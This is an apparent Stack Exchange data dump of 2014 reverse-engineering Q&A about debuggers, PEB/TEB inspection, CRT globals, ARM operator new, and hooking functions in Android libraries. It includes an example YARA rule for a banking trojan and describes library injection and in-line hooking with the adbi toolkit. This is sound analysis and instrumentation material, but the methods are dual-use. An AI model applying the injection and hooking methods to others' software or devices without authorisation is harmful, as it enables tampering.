  <row Id="4394" PostTypeId="1" AcceptedAnswerId="4396" CreationDate="2014-05-21T06:44:08.113" Score="3" ViewCount="3478" Body="&lt;p&gt;I am trying to learn actually how to get to the PEB inside of TEB. I have tried this with &lt;code&gt;windbg&lt;/code&gt; but could not manage to dump the PEB with stuff like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!peb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dt nt!_PEB_LDR_DATA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And others. But, I could not manage to get the PEB dumped. So also my favorite debugger is still &lt;code&gt;immunitydbg&lt;/code&gt;. So, I was trying to get to the information using &lt;code&gt;immunitydbg&lt;/code&gt; CLI. But the nearest thing I have managed to get to PEB is dumping the TEB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;d fs:[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I there anyhow someway inside of immunity do get the contents of TEB/PEB? I also tried to use the &lt;code&gt;Ollysdbg&lt;/code&gt; PE Dump plugin but that only gave me another exe file with different contents. And also i am not sure if the PE Plugin does the right thing for me. &lt;/p&gt;&#xA;" OwnerUserId="4690" LastEditorUserId="53" LastEditDate="2014-05-21T07:10:45.750" LastActivityDate="2014-05-21T17:55:11.757" Title="Dump TEB/PEB in immunitydbg" Tags="|windows|immunity-debugger|operating-systems|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4395" PostTypeId="2" ParentId="4393" CreationDate="2014-05-21T07:17:10.630" Score="3" Body="&lt;p&gt;There are a number of ways to do this. Some people new to signature scanning use MD5 hashes of the entire file. This is &lt;em&gt;VERY&lt;/em&gt; flawed, due to the switching of registers or even just the timestamp of the file would change the entire signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method often used is YARA ( &lt;a href=&quot;http://plusvic.github.io/yara/&quot; rel=&quot;nofollow&quot;&gt;http://plusvic.github.io/yara/&lt;/a&gt; ).&#xA;A good example from their webpage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rule silent_banker : banker&#xA;{&#xA;    meta:&#xA;        description = &quot;This is just an example&quot;&#xA;        thread_level = 3&#xA;        in_the_wild = true&#xA;&#xA;    strings:&#xA;        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}&#xA;        $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}&#xA;        $c = &quot;UVODFRYSIHLNWPEJXQZAKCBGMT&quot;&#xA;&#xA;    condition:&#xA;        $a or $b or $c&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here they say that one of the A, B or C bytes should be within the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method used (however this is more a Heuristic method) is to detect the ways it tries to hide. Eg obfuscation, encryption odd jumps (like pop, ret to jump to addresses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method used often, (although this is less signature based) is IOC, for this see: &lt;a href=&quot;http://www.openioc.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.openioc.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you are looking for YARA.&#xA;Note for writing YARA signatures, good malware/exploits authors randomize everything they can. So try to find the parts that are 'unchangeable'.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="2035" LastEditDate="2014-05-21T08:43:40.397" LastActivityDate="2014-05-21T08:43:40.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4396" PostTypeId="2" ParentId="4394" CreationDate="2014-05-21T13:39:25.483" Score="3" Body="&lt;p&gt;Open the Memory Map window in OllyDbg/ImmunityDbg, scroll down to the bottom, and double click on the entry that contains &lt;code&gt;Process Environment Block&lt;/code&gt;. This will open a dump of the PEB in OllyDbg/ImmunityDbg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VzPsD.png&quot; alt=&quot;PEB&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-05-21T13:39:25.483" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4397" PostTypeId="2" ParentId="4394" CreationDate="2014-05-21T17:55:11.757" Score="3" Body="&lt;pre&gt;&lt;code&gt;alt + f1 d fs:[30] ollydbg 1.10  raw peb  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;code&gt;stolly plugin&lt;/code&gt; for 1.10 &lt;code&gt;select the first byte&lt;/code&gt; in &lt;code&gt;dump-&amp;gt;right click-&amp;gt;sructure&lt;/code&gt; &#xA;&lt;code&gt;select _peb&lt;/code&gt;  from drop down box for decoded peb .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;al+g fs:[30] in ollydbg 2.01 fully decoded _peb in dump / disasm window&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-05-21T17:55:11.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4398" PostTypeId="1" AcceptedAnswerId="4399" CreationDate="2014-05-21T22:00:06.593" Score="3" ViewCount="3992" Body="&lt;p&gt;When using IDA, I can press &lt;kbd&gt;x&lt;/kbd&gt; on any subroutine to see where it is called from. Eventually I end up in the &lt;code&gt;.data&lt;/code&gt; section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, what am I looking at when I get to this point ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these exports offered by the &lt;code&gt;.dll&lt;/code&gt; that I'm looking at ? And, if I get to this point, is it safe to assume that there are no other calls to my function (with the exception of dynamically-generated and/or external calls) ? See reference image below for context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UKpsu.png&quot; alt=&quot;XRefs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4640" LastEditorUserId="53" LastEditDate="2014-05-22T12:33:20.370" LastActivityDate="2014-05-22T12:33:20.370" Title="IDA and XRefs in the .data Section" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4399" PostTypeId="2" ParentId="4398" CreationDate="2014-05-21T22:04:01.200" Score="3" Body="&lt;p&gt;It's hard to tell without more context, but you're probably looking at a &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_method_table&quot; rel=&quot;nofollow noreferrer&quot;&gt;virtual function table (vtable)&lt;/a&gt;. See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3116/converting-a-virtual-table-from-rdata-into-an-ida-struct&quot;&gt;Converting a virtual table from .rdata into an IDA struct&lt;/a&gt; for an example.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-05-21T22:04:01.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4400" PostTypeId="1" AcceptedAnswerId="4401" CreationDate="2014-05-22T01:07:51.720" Score="2" ViewCount="665" Body="&lt;p&gt;Does somebody knows what &lt;code&gt;_acmdln_dll&lt;/code&gt; is ? I could not find any useful documentation about that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am asking because I have the following line in the assembly which I try to analyze:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; MOV EAX, DWORD PTR DS : [_acmdln_dll]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that line I have in register &lt;code&gt;EAX&lt;/code&gt; the path of the current process. So my assumption is now the &lt;code&gt;_acmdln_dll&lt;/code&gt; stores somehow the path as string sequence.&#xA;Is that true ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone confirm that or does someone know more informations about &lt;code&gt;_acmdln_dll&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2014-05-22T10:40:49.757" LastActivityDate="2014-05-22T11:53:17.743" Title="What does _acmdln_dll?" Tags="|disassembly|windows|x86|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4401" PostTypeId="2" ParentId="4400" CreationDate="2014-05-22T02:16:44.383" Score="4" Body="&lt;p&gt;These are global variables provided by the Microsoft run time library. Here is an excerpt of &lt;em&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ff770586.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;&lt;/em&gt; on-line documentation speaking about the &lt;code&gt;_acmdln&lt;/code&gt; variable:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;_acmdln&lt;/code&gt;&lt;/strong&gt;, &lt;code&gt;_tcmdln&lt;/code&gt;, &lt;code&gt;_wcmdln&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;These variables store the complete command line. &lt;code&gt;_acmdln&lt;/code&gt; stores the data as a character string&lt;/strong&gt;. &lt;code&gt;_wcmdln&lt;/code&gt; stores the data as a wide character string. &lt;code&gt;_tcmdln&lt;/code&gt; can be defined as either &lt;code&gt;_acmdln&lt;/code&gt; or &lt;code&gt;_wcmdln&lt;/code&gt;, depending on which is appropriate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-05-22T10:43:00.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4402" PostTypeId="1" AcceptedAnswerId="4405" CreationDate="2014-05-22T07:17:33.703" Score="3" ViewCount="7318" Body="&lt;p&gt;In the disassembler output (ARM) I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    BLX _Znwj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;BLX&lt;/code&gt; is ARM procedure call and &lt;code&gt;_Znwj&lt;/code&gt; is demangled as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ c++filt  _Znwj&#xA;operator new(unsigned int)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does that &lt;code&gt;operator new&lt;/code&gt; do? Is it &lt;code&gt;new&lt;/code&gt; or &lt;code&gt;new[]&lt;/code&gt;?&#xA;What type does it return?&#xA;How do I explicitly call it from C++, something in the &lt;code&gt;operator+(a,b)&lt;/code&gt; style?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I know that it is possible to define &lt;code&gt;operator new&lt;/code&gt; in a class, but this looks a bit different.)&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="4398" LastEditDate="2014-05-22T09:05:27.550" LastActivityDate="2014-06-04T18:25:38.740" Title="What is operator new(unsigned int)?" Tags="|disassembly|c++|gcc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4403" PostTypeId="2" ParentId="2825" CreationDate="2014-05-22T07:44:43.090" Score="2" Body="&lt;p&gt;In fact, there may be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00192CB6                 POP             {R4}&#xA;.text:00192CB8                 B.W             sub_268508&#xA;.text:00192CB8 ; End of function XXX::YYY::zZz(void)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IIRC I also have seen conditional branches leading outside of what I would expect to be function boundaries, but I cannot find any example now.&lt;/p&gt;&#xA;" OwnerUserId="4398" LastActivityDate="2014-05-22T07:44:43.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4404" PostTypeId="1" CreationDate="2014-05-22T08:07:55.283" Score="3" ViewCount="1656" Body="&lt;p&gt;I want to add logging to some function(s) in the shared (&lt;code&gt;.so&lt;/code&gt;) library. (ARM, Android, a mix of Arm and Thumb modes; C++, some functions are virtual and therefore nameless, invoked via VFT.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Does anyone already have code that does this or almost this? (Adds logging to existing functions.)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am thinking about patching at run-time (on-the-fly), but you may suggest something static.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The procedures usually start with a &lt;code&gt;PUSH&lt;/code&gt;/&lt;code&gt;STM&lt;/code&gt; instruction, but it's difficult to place a branch into just one instruction, at least in the thumb mode.&#xA;&lt;strong&gt;&lt;em&gt;How do I modify existing procedures?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more issue is to detect code residing in PLT.&#xA;&lt;strong&gt;&lt;em&gt;How do I detect code in PLT, how do I &quot;dereference&quot; the plt entry?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The caching issues are discussed here:&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3728/patching-arm7-code-during-runtime&quot;&gt;Patching ARM7 code during runtime&lt;/a&gt; (but no code at the moment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Qt-specific stuff: &lt;a href=&quot;http://www.ntcore.com/files/qtrev.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ntcore.com/files/qtrev.htm&lt;/a&gt; or (the same) &lt;a href=&quot;http://www.codeproject.com/Articles/31330/Qt-Internals-Reversing&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.codeproject.com/Articles/31330/Qt-Internals-Reversing&lt;/a&gt; and &lt;a href=&quot;http://qt-project.org/doc/qt-4.8/signalsandslots.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;about Qt signals&amp;amp;slots&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/4329/4398&quot;&gt;printing out RTTI&lt;/a&gt; (when it's available, of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPD: &lt;a href=&quot;https://github.com/18446744073709551615/reDroid&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;reDroid&lt;/strong&gt;: reverse-engineering tools for Android NDK/C++/Qt (source at github)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-06-11T10:13:09.110" Title="Insert logging into existing binary code, ARM" Tags="|c++|arm|patching|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4405" PostTypeId="2" ParentId="4402" CreationDate="2014-05-22T08:25:39.537" Score="3" Body="&lt;p&gt;A runtime function does not necessarily convert to a C++ function. For example, on a processor that has no floating point hardware, a simple statement like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;a=b+c;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; being floats, will probably be converted to a function call that takes &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; as parameters and returns the results. The user is not supposed to call that function directly.&lt;/p&gt;&#xA;&lt;p&gt;In your case, consider that every &lt;code&gt;new&lt;/code&gt; probably maps to something that allocates memory and calls a constructor function, and every &lt;code&gt;new[]&lt;/code&gt; allocates memory for several elements and calls a constructor function on each element. The &lt;code&gt;new&lt;/code&gt; &lt;code&gt;_Znwj&lt;/code&gt; function is the memory allocator used internally by the &lt;code&gt;new&lt;/code&gt; operator (at least if you're using &lt;code&gt;gcc&lt;/code&gt;, which I assume), and it's not intended to be called directly from C++.&lt;/p&gt;&#xA;&lt;p&gt;This program:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    class Foo {&#xA;            int bar;&#xA;    };&#xA;&#xA;    int main(void) {&#xA;            Foo *baz=new Foo();&#xA;            Foo *var=new Foo[20];&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Compiles to (try &lt;code&gt;gcc -S&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    stmfd   sp!, {fp, lr}&#xA;    .save {fp, lr}&#xA;    .setfp fp, sp, #4&#xA;    add     fp, sp, #4&#xA;    .pad #8&#xA;    sub     sp, sp, #8&#xA;    mov     r0, #4                &amp;lt;-- 4 bytes for single variable&#xA;    bl      _Znwj&#xA;    mov     r3, r0                &amp;lt;-- r0 returns the pointer to the allocated memory&#xA;    mov     r2, #0&#xA;    str     r2, [r3]&#xA;    str     r3, [fp, #-8]&#xA;    mov     r0, #80               &amp;lt;-- 80 bytes (20*4) for array&#xA;    bl      _Znaj&#xA;    mov     r3, r0                &amp;lt;-- r0 returns the pointer to the allocated memory&#xA;    str     r3, [fp, #-12]&#xA;    mov     r3, #0&#xA;    mov     r0, r3&#xA;    sub     sp, fp, #4&#xA;    @ sp needed&#xA;    ldmfd   sp!, {fp, lr}&#xA;    bx      lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, you see that the &lt;code&gt;_Znwj&lt;/code&gt; resp. &lt;code&gt;_Znaj&lt;/code&gt; are the allocator functions for a single class resp. an array of classes, both of them take the number of bytes required as parameter, and both of them return a pointer to the allocated memory as result.&lt;/p&gt;&#xA;&lt;p&gt;To answer your questions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;What does that operator &lt;code&gt;new&lt;/code&gt; do ?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It allocates memory for a new class instance.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Is it &lt;code&gt;new&lt;/code&gt; or &lt;code&gt;new[]&lt;/code&gt; ?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;_Znwj&lt;/code&gt; is &lt;code&gt;new&lt;/code&gt;, and &lt;code&gt;_Znaj&lt;/code&gt; is &lt;code&gt;new[]&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;What type does it return ?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It returns the address of the newly allocated memory block. In C++, the closest match to resemble that would be a &lt;code&gt;void *&lt;/code&gt;, but note it's supposed to point to a class structure.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;How do I explicitly call it from C++, something in the &lt;code&gt;operator+(a,b)&lt;/code&gt; style ?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You're not supposed to do that. You use &lt;code&gt;new&lt;/code&gt; or &lt;code&gt;new[]&lt;/code&gt;. I assume the makers of &lt;code&gt;gcc&lt;/code&gt; explicitly used a function name that cannot, normally, be called from a C++ program without a syntax error due to the name conflict.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-05-22T10:47:30.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4406" PostTypeId="5" CreationDate="2014-05-22T09:09:28.660" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-05-22T09:09:28.660" LastActivityDate="2014-05-22T09:09:28.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4407" PostTypeId="4" CreationDate="2014-05-22T09:09:28.660" Score="0" Body="GNU Compiler Collection, it includes front ends for C, C++, Objective-C, Fortran, Java, Ada, and Go, as well as libraries for these languages (libstdc++, libgcj,...)." OwnerUserId="4398" LastEditorUserId="53" LastEditDate="2014-05-22T10:30:35.597" LastActivityDate="2014-05-22T10:30:35.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4408" PostTypeId="2" ParentId="4400" CreationDate="2014-05-22T11:05:33.357" Score="2" Body="&lt;p&gt;&lt;strong&gt;well after rereading the original question it appears both my answer&lt;br&gt;&#xA;and the answer i followed up do not give an answer to the original question&lt;br&gt;&#xA;original question asks about acmdln_dll which is nowhere to be found in vs crt&lt;br&gt;&#xA;i leave the answer as it is assuming the suffix __dll to be in code that is not native ms like from reactos here&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/reactos-mirror/source/browse/trunk/reactos/lib/crtdll/misc/GetArgs.c?spec=svn271&amp;amp;r=271&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/reactos-mirror/source/browse/trunk/reactos/lib/crtdll/misc/GetArgs.c?spec=svn271&amp;amp;r=271&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the answer below is pertinent to _acmdln without the suffix _dll see edit 3 also&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;complete source code&lt;/code&gt; is available to you for &lt;code&gt;acmdln&lt;/code&gt; if you have installed even the &lt;code&gt;express version of visual studio&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;compile a simple hello world with debug info&lt;/code&gt; &lt;strong&gt;/Zi&lt;/strong&gt;  and view the source code as to what it is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source file in crt directory of visual studio&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DS:[00408018]=7C812FBD (kernel32.GetCommandLineA)&#xA;Jump from __tmainCRTStartup+9B&#xA;crt0.c:252.  _tcmdln = (_TSCHAR *)GetCommandLineT();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is a relevent disassembly&#xA;notice the result of GetCommandline being moved to acmdln a global &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * command line, environment, and a few other globals&#xA; */&#xA;&#xA;    #ifdef WPRFLAG&#xA;    wchar_t *_wcmdln;           /* points to wide command line */&#xA;    #else  /* WPRFLAG */&#xA;    char *_acmdln;              /* points to command line */&#xA;    #endif  /* WPRFLAG */&#xA;&#xA;    char *_aenvptr = NULL;      /* points to environment block */&#xA;    wchar_t *_wenvptr = NULL;   /* points to wide environment block */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004014D9           CALL    newheapt._amsg_exit&#xA;004014DE           POP     ECX&#xA;004014DF           CALL    NEAR DWORD PTR DS:[&amp;lt;&amp;amp;KERNEL32.GetCommandLineA&amp;gt;]      ; _tcmdln = (_TSCHAR *)GetCommandLineT();&#xA;004014E5           MOV     DWORD PTR DS:[_acmdln], EAX&#xA;004014EA           CALL    newheapt.__crtGetEnvironmentStringsA                 ; _tenvptr = (_TSCHAR *)GetEnvironmentStringsT();&#xA;004014EF           MOV     DWORD PTR DS:[_aenvptr], EAX&#xA;004014F4           CALL    newheapt._setargv                                    ; if ( _tsetargv() &amp;lt; 0 )&#xA;004014F9           TEST    EAX, EAX&#xA;004014FB           JNS     SHORT newheapt.00401505&#xA;004014FD           PUSH    8                                                    ; _amsg_exit(_RT_SPACEARG);&#xA;004014FF           CALL    newheapt._amsg_exit&#xA;00401504           POP     ECX&#xA;00401505           CALL    newheapt._setenvp                                    ; if ( _tsetenvp() &amp;lt; 0 )&#xA;0040150A           TEST    EAX, EAX&#xA;0040150C           JNS     SHORT newheapt.00401516&#xA;0040150E           PUSH    9                                                    ; _amsg_exit(_RT_SPACEENV);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit 3&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;from a general search it seems that this is defined in crtdll.dll &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\WINDOWS\system32&amp;gt;grep -rs _acmdln_dll *&#xA;Binary file crtdll.dll matches&#xA;Binary file dllcache/crtdll.dll matches&#xA;^C&#xA;C:\WINDOWS\system32&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;loading the dll in ollydbg _acmdln_dll is exactly same as _acmdln&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;73D91D02                   |&amp;gt; \FF15 4410&amp;gt;CALL    NEAR DWORD PTR DS:[&amp;lt;&amp;amp;KERNEL32.GetCommandLineA&amp;gt;]      ; [GetCommandLineA&#xA;73D91D08                   |.  A3 CC3EDB&amp;gt;MOV     DWORD PTR DS:[_acmdln_dll], EAX&#xA;73D91D0D                   |.  FF15 4010&amp;gt;CALL    NEAR DWORD PTR DS:[&amp;lt;&amp;amp;KERNEL32.GetEnvironmentStrings&amp;gt;&amp;gt;; [GetEnvironmentStrings&#xA;73D91D13                   |.  A3 D03EDB&amp;gt;MOV     DWORD PTR DS:[73DB3ED0], EAX&#xA;73D91D18                   |.  FF15 0411&amp;gt;CALL    NEAR DWORD PTR DS:[&amp;lt;&amp;amp;KERNEL32.GetVersion&amp;gt;]           ;  kernel32.GetVersion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this crtdll.dll seems to be from an older windows sdk a brief google yields one page which alludes crtdll.lib belonging to windows sdk 3.5 era&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.microsoft.com/kb/94248&quot; rel=&quot;nofollow&quot;&gt;http://support.microsoft.com/kb/94248&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-05-22T11:53:17.743" LastActivityDate="2014-05-22T11:53:17.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4409" PostTypeId="2" ParentId="4404" CreationDate="2014-05-22T13:29:37.843" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/crmulliner/adbi&quot; rel=&quot;nofollow&quot;&gt;The Android Dynamic Binary Instrumentation Toolkit (adbi)&lt;/a&gt; should allow you to do what you need to do.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Simple binary instrumentation toolkit for Android ARM + Thumb.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Instrumentation is based on library injection and hooking function&#xA;  entry points (in-line hooking).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The toolkit consists of two main components the hijack tool and the&#xA;  base library.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;hijack&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The hijack tool provides the injection functionality. It supports a&#xA;  number of modes for supporting older and newer Android devices. hijack&#xA;  provides help on the command line.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;libbase&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The base library provides the hooking and unhooking functionality. The&#xA;  base library is compiled as a static library so it can be directly&#xA;  included in the actual instrumentation library. This is done so we can&#xA;  keep everything in /data/local/tmp.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-05-22T13:29:37.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4410" PostTypeId="2" ParentId="4404" CreationDate="2014-05-22T13:33:56.080" Score="1" Body="&lt;p&gt;What i usually do, is find a suitable BL or BLX  instruction, and replace it with a BL to my logging code,  at the end of my logginghook, then jump to the original target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;original code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV R0, #123&#xA;BLX  somefunction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in &lt;code&gt;C&lt;/code&gt; i write some function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int hooksomefunction(int arg)&#xA;{&#xA;     // insert logging code here&#xA;&#xA;     return somefunction(arg);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change the original code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV R0, #123&#xA;BLX  hooksomefunction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other methods of inserting a call of your own:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;insert your code over some error handling code, which is unlikely to be actually used.&lt;/li&gt;&#xA;&lt;li&gt;write a jump over some instructions, copy those instructions to the start of your hook, call your logging code, jump back.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2014-05-22T13:33:56.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
